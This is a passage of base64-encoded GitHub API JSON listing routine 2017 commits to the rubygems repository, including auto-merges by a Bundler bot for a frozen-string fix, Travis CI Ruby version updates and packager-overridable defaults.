gdG8gb3ZlcnJpZGUgZGVmYXVsdHMuXG5cbiMgRGVzY3JpcHRpb246XG5cblRoaXMgY2hhbmdlIGFsbG93cyBSdWJ5IHBhY2thZ2VycyB0byBvdmVycmlkZSBkZWZhdWx0cyBhbmQgbGF6aWx5IHF1ZXJ5XG50aGVtLlxuXG5UaGlzIGlzIHZlcnkgbXVjaCB0aGUgc2FtZSBjaGFuZ2UgYXMgIzE2NDQgdG8gdHJlYXQgdGhlXG5vcGVyYXRpbmdfc3lzdGVtIGRlZmF1bHRzIHRoZSBzYW1lIHdheSBhcyBwbGF0Zm9ybSBkZWZhdWx0cy5cblxuIyBUYXNrczpcblxuLSBbeF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXG4tIFt4XSBXcml0ZSB0ZXN0c1xuLSBbeF0gV3JpdGUgY29kZSB0byBzb2x2ZSB0aGUgcHJvYmxlbVxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLiIsInRyZWUiOnsic2hhIjoiNjg2ZjVhMWFjMWViNjdkMWUxNjEyYmY4MDA4NzhiMjQ2YTFjNTQwOSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzY4NmY1YTFhYzFlYjY3ZDFlMTYxMmJmODAwODc4YjI0NmExYzU0MDkifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy85YTE4YjgyZjgzOWRhMTQ1ZmVhMjU1Nzk5YzdmNWNhZWM1ZDNmYmY1IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzlhMThiODJmODM5ZGExNDVmZWEyNTU3OTljN2Y1Y2FlYzVkM2ZiZjUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOWExOGI4MmY4MzlkYTE0NWZlYTI1NTc5OWM3ZjVjYWVjNWQzZmJmNSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy85YTE4YjgyZjgzOWRhMTQ1ZmVhMjU1Nzk5YzdmNWNhZWM1ZDNmYmY1L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiNDRjMzgyNGMwZDg0ZmIzODk0MWNkNDkxYzI4YzUzMjhlOWI1YTAwZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy80NGMzODI0YzBkODRmYjM4OTQxY2Q0OTFjMjhjNTMyOGU5YjVhMDBlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzQ0YzM4MjRjMGQ4NGZiMzg5NDFjZDQ5MWMyOGM1MzI4ZTliNWEwMGUifSx7InNoYSI6IjYwZWI5NjFjMjVmODAxZWU0M2NhMWJlOTM5M2FiMmYwYTA1NDY2NzciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjBlYjk2MWMyNWY4MDFlZTQzY2ExYmU5MzkzYWIyZjBhMDU0NjY3NyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82MGViOTYxYzI1ZjgwMWVlNDNjYTFiZTkzOTNhYjJmMGEwNTQ2Njc3In1dfSx7InNoYSI6IjQ0YzM4MjRjMGQ4NGZiMzg5NDFjZDQ5MWMyOGM1MzI4ZTliNWEwMGUiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMTlUMjA6MDc6NTlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTE5VDIwOjA3OjU5WiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMjExNSAtIE1TUC1HcmVnOmZyb3plbl9zdHJpbmcsIHI9Y29sYnktc3dhbmRhbGVcblxuRnJvemVuIHN0cmluZyBmaXggLSBsaWIvcnVieWdlbXMvYnVuZGxlcl92ZXJzaW9uX2ZpbmRlci5yYlxuXG4jIERlc2NyaXB0aW9uOlxuXG5XaGVuIHN0YXJ0aW5nIHJ1Ynkgd2l0aCBgUlVCWU9QVD0tLWVuYWJsZS1mcm96ZW4tc3RyaW5nLWxpdGVyYWxgLCB0aGVyZSBhcmUgYSBmZXcgaXNzdWVzIGluIFJ1YnlHZW1zLiAgVGhpcyBpcyB0aGUgb25seSBpc3N1ZSBJIGZvdW5kIGluIFJ1YnlHZW1zLCB0aGUgb3RoZXJzIHdlcmUgaW4gUkRvYywgd2hpY2ggZG8gY2F1c2UgUnVieUdlbXMgdGVzdHMgdG8gZmFpbC4gIFdvcmtpbmcgb24gdGhhdC5cblxuSSBmb3VuZCB0aGlzIHdoZW4gSSBub3RpY2VkIGEgcG9wbHVhciBnZW0gd2FzIGZhaWxpbmcgQ0ksIHR1cm5zIG91dCB0aGUgb3duZXIgaGFkIGVuYWJsZWQgdGhlIGFib3ZlIHNldHRpbmcuICBJbnZlc3RpZ2F0aW9uIGZvdW5kIHRoaXMuLi5cbl9fX19fX19fX19fX19fXG5cbiMgVGFza3M6XG5cbi0gW1hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gW1hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLCJ0cmVlIjp7InNoYSI6ImFiN2I2YmYwNTkzOGJjNjZkODc4MmVmNTM2MjQ0ODA3MGIxMjUyN2UiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9hYjdiNmJmMDU5MzhiYzY2ZDg3ODJlZjUzNjI0NDgwNzBiMTI1MjdlIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNDRjMzgyNGMwZDg0ZmIzODk0MWNkNDkxYzI4YzUzMjhlOWI1YTAwZSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy80NGMzODI0YzBkODRmYjM4OTQxY2Q0OTFjMjhjNTMyOGU5YjVhMDBlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzQ0YzM4MjRjMGQ4NGZiMzg5NDFjZDQ5MWMyOGM1MzI4ZTliNWEwMGUiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNDRjMzgyNGMwZDg0ZmIzODk0MWNkNDkxYzI4YzUzMjhlOWI1YTAwZS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImMzMzU4YmIxNTk4NjJiYTA2YWE5NTBjZjM0MDk1Yzg5OTA2ZTQ2NmQiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYzMzNThiYjE1OTg2MmJhMDZhYTk1MGNmMzQwOTVjODk5MDZlNDY2ZCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9jMzM1OGJiMTU5ODYyYmEwNmFhOTUwY2YzNDA5NWM4OTkwNmU0NjZkIn0seyJzaGEiOiJiYTU5OTc3ZmZkODRkYjdiOWQ1MWI5YmMzNjE2N2Y2OGUyY2NkNDgzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2JhNTk5NzdmZmQ4NGRiN2I5ZDUxYjliYzM2MTY3ZjY4ZTJjY2Q0ODMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYmE1OTk3N2ZmZDg0ZGI3YjlkNTFiOWJjMzYxNjdmNjhlMmNjZDQ4MyJ9XX0seyJzaGEiOiJjMzM1OGJiMTU5ODYyYmEwNmFhOTUwY2YzNDA5NWM4OTkwNmU0NjZkIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTE5VDE5OjQzOjMwWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0xOVQxOTo0MzozMFoifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzIxMTcgLSBNU1AtR3JlZzp0cmF2aXNfcnVieSwgcj1jb2xieS1zd2FuZGFsZVxuXG5UcnkgVHJhdmlzIHdpdGggUnVieSAyLjIuOSwgMi4zLjYsIDIuNC4zXG5cbiMgRGVzY3JpcHRpb246XG5cblVwZGF0ZSBUcmF2aXMgd2l0aCBuZXcgUnVieSB2ZXJzaW9ucyAyLjIuOSwgMi4zLjYsIDIuNC4zICYgdXBkYXRlIGV4Y2x1ZGVzXG5cbiMgVGFza3M6XG5cbi0gW1hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gW1hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLCJ0cmVlIjp7InNoYSI6IjEzNWJkYThiMmVlZTRkMzcxNmI0MmQwOTZmZDZlNzRiYmZjNTQ1ODgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8xMzViZGE4YjJlZWU0ZDM3MTZiNDJkMDk2ZmQ2ZTc0YmJmYzU0NTg4In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvYzMzNThiYjE1OTg2MmJhMDZhYTk1MGNmMzQwOTVjODk5MDZlNDY2ZCIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9jMzM1OGJiMTU5ODYyYmEwNmFhOTUwY2YzNDA5NWM4OTkwNmU0NjZkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2MzMzU4YmIxNTk4NjJiYTA2YWE5NTBjZjM0MDk1Yzg5OTA2ZTQ2NmQiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYzMzNThiYjE1OTg2MmJhMDZhYTk1MGNmMzQwOTVjODk5MDZlNDY2ZC9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImZmNmNhMDRhNmNiZThjMmMxMzdkYTM5OGI2NGE0YjliMWVjZWY0MTkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZmY2Y2EwNGE2Y2JlOGMyYzEzN2RhMzk4YjY0YTRiOWIxZWNlZjQxOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9mZjZjYTA0YTZjYmU4YzJjMTM3ZGEzOThiNjRhNGI5YjFlY2VmNDE5In0seyJzaGEiOiI1NjRhMmY1MGUxZDZjMjAyY2QzZmYzZjJiNDZjMWM3YzBjNDc2ZmVhIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzU2NGEyZjUwZTFkNmMyMDJjZDNmZjNmMmI0NmMxYzdjMGM0NzZmZWEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNTY0YTJmNTBlMWQ2YzIwMmNkM2ZmM2YyYjQ2YzFjN2MwYzQ3NmZlYSJ9XX0seyJzaGEiOiI1NjRhMmY1MGUxZDZjMjAyY2QzZmYzZjJiNDZjMWM3YzBjNDc2ZmVhIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiTVNQLUdyZWciLCJlbWFpbCI6Im1zcC1ncmVnQHVzZXJzLm5vcmVwbHkuZ2l0aHViLmNvbSIsImRhdGUiOiIyMDE3LTEyLTE5VDE1OjI5OjQwWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6Ik1TUC1HcmVnIiwiZW1haWwiOiJtc3AtZ3JlZ0B1c2Vycy5ub3JlcGx5LmdpdGh1Yi5jb20iLCJkYXRlIjoiMjAxNy0xMi0xOVQxNToyOTo0MFoi